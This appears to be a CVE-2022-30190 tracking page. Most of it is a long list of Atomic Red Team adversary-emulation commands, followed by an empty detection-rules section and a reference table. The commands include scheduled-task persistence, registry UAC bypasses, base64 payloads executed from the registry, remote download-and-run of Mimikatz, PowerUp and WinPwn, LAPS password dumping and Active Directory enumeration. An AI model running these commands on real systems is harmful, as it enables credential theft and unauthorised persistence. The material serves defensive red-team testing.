cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-30190 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190 |
| packetstormsecurity.com |
NVD API
Exploit
Third Party Advisory
VDB Entry
|
http://packetstormsecurity.com/files/167438/Microsoft-Office-Word-MSDTJS-Code-Execution.html |
| portal.msrc.microsoft.com |
NVD API
Patch
Vendor Advisory
|
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-30190 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-30190 |